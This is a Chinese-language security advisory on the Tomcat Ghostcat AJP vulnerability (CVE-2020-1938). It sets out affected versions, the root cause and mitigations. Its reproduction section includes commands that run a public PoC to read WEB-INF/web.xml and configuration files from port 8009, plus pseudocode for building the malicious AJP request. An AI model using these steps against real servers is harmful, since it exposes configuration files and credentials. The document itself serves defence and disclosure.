一、漏洞简介¶
1.1 漏洞背景¶
Apache JServ Protocol (AJP) 是一种二进制协议,用于 Tomcat 与 Web 服务器(如 Apache HTTPD、Nginx)之间的通信。AJP 协议设计上比 HTTP 更高效,因此常用于反向代理场景。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-1938 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | Ghostcat AJP 文件读取漏洞 |
| 披露时间 | 2020-02-24 |
| 影响组件 | Apache Tomcat 历史 |
- CVE 编号:CVE-2020-1938
- 代号:Ghostcat(幽灵猫)
- 危害等级:Important / High(重要/高)
- 披露时间:2020年2月
- 漏洞类型:文件读取 + 可能的远程代码执行
- CVSS 评分:9.8(严重)
补充核验信息:公开时间:2020-02-24;NVD 评分:9.8(CRITICAL)。
二、影响范围¶
2.1 受影响的版本¶
| 版本系列 | 受影响范围 |
|---|---|
| Tomcat 9.x | 9.0.0.M1 ~ 9.0.30 |
| Tomcat 8.x | 8.5.0 ~ 8.5.50 |
| Tomcat 7.x | 7.0.0 ~ 7.0.99 |
2.2 不受影响的版本¶
| 版本系列 | 修复版本 |
|---|---|
| Tomcat 9.x | ≥ 9.0.31 |
| Tomcat 8.x | ≥ 8.5.51 |
| Tomcat 7.x | ≥ 7.0.100 |
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- AJP Connector 已启用(默认启用,监听 8009 端口)
- AJP 端口对攻击者可访问(直接暴露或可通过 SSRF 访问)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Ghostcat 漏洞源于 AJP 协议设计中 Tomcat 对 AJP 连接的过度信任。AJP 请求被视为比 HTTP 请求更可信,因为它们通常来自受信任的 Web 服务器。
漏洞允许攻击者:
- 读取任意文件:
- 包括
WEB-INF/web.xml、WEB-INF/classes/下的配置文件和类文件 -
任何可通过
ServletContext.getResourceAsStream()访问的文件 -
执行任意 JSP:
- 可以将任意文件作为 JSP 解析执行
- 如果能上传文件,可导致远程代码执行
3.2 源码层面的根因分析(结合源码与补丁对比)¶
AJP 协议中的关键属性:
AJP_FORWARD_REQUEST = 2
AJP_SEND_HEADERS = 4
AJP_SEND_BODY_CHUNK = 3
AJP_END_RESPONSE = 5
// 漏洞利用的关键属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
Tomcat 处理 AJP 请求的代码(org.apache.coyote.ajp.AjpProcessor):
// AJP 请求可以携带这些特殊属性
// 攻击者可以控制这些属性值
String requestUri = request.getAttribute("javax.servlet.include.request_uri");
String pathInfo = request.getAttribute("javax.servlet.include.path_info");
String servletPath = request.getAttribute("javax.servlet.include.servlet_path");
// 如果这些属性被设置,Tomcat 会直接使用
// 而不进行安全检查
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 快速搭建
docker run -d --name tomcat-ghostcat \
-p 8080:8080 \
-p 8009:8009 \
tomcat:9.0.30-jdk11
4.2 PoC 演示与测试过程¶
使用公开的利用脚本:
# 下载 PoC 工具
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
# 读取 WEB-INF/web.xml
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target 8009 /WEB-INF/web.xml
# 读取其他敏感文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target 8009 /WEB-INF/classes/application.properties
手动构造 AJP 请求(伪代码):
import socket
def craft_ajp_request(file_path):
# AJP 魔数
data = b'\x12\x34' # Magic
data += len_to_bytes(0) # Data length (placeholder)
# 构造 FORWARD_REQUEST
data += bytes([2]) # FORWARD_REQUEST code
data += bytes([2]) # POST method
data += b'\x00' * 6 # Protocol version, etc.
# 设置 include 属性
data += build_attribute("javax.servlet.include.request_uri", "/")
data += build_attribute("javax.servlet.include.servlet_path", file_path)
data += b'\xff' # End of attributes
return data
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 升级目标 |
|---|---|
| Tomcat 9.0.x < 9.0.31 | 升级至 9.0.31+ |
| Tomcat 8.5.x < 8.5.51 | 升级至 8.5.51+ |
| Tomcat 7.0.x < 7.0.100 | 升级至 7.0.100+ |
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 禁用 AJP Connector(如不使用):
<!-- 在 conf/server.xml 中注释掉 AJP Connector -->
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
- 限制 AJP 访问(必须使用时):
<Connector port="8009" protocol="AJP/1.3"
redirectPort="8443"
address="127.0.0.1" <!-- 只监听本地 -->
secretRequired="true"
secret="your_secret_key" />
- 配置 requiredSecret(Tomcat 修复版本的默认行为):
<Connector port="8009" protocol="AJP/1.3"
secretRequired="true"
secret="your_strong_secret" />
- 防火墙规则:
# 只允许特定 IP 访问 8009 端口
iptables -A INPUT -p tcp --dport 8009 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8009 -j DROP
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://lists.apache.org/thread.html/r7c6f492fbd39af34a68681dbbba0468490ff1a97a1bd79c6a53610ef%40%3Cannounce.tomcat.apache.org%3E
- https://lists.apache.org/thread.html/r8f7484589454638af527182ae55ef5b628ba00c05c5b11887c922fb1%40%3Cnotifications.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E
- https://lists.apache.org/thread.html/ra7092f7492569b39b04ec0decf52628ba86c51f15efb38f5853e2760%40%3Cnotifications.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
- https://tomcat.apache.org/security-impact.html
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2020-1938
- CVE:https://www.cve.org/CVERecord?id=CVE-2020-1938
- https://lists.apache.org/thread.html/r7c6f492fbd39af34a68681dbbba0468490ff1a97a1bd79c6a53610ef%40%3Cannounce.tomcat.apache.org%3E
- https://lists.apache.org/thread.html/r8f7484589454638af527182ae55ef5b628ba00c05c5b11887c922fb1%40%3Cnotifications.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E
- https://lists.apache.org/thread.html/ra7092f7492569b39b04ec0decf52628ba86c51f15efb38f5853e2760%40%3Cnotifications.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2%40%3Cissues.geode.apache.org%3E
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git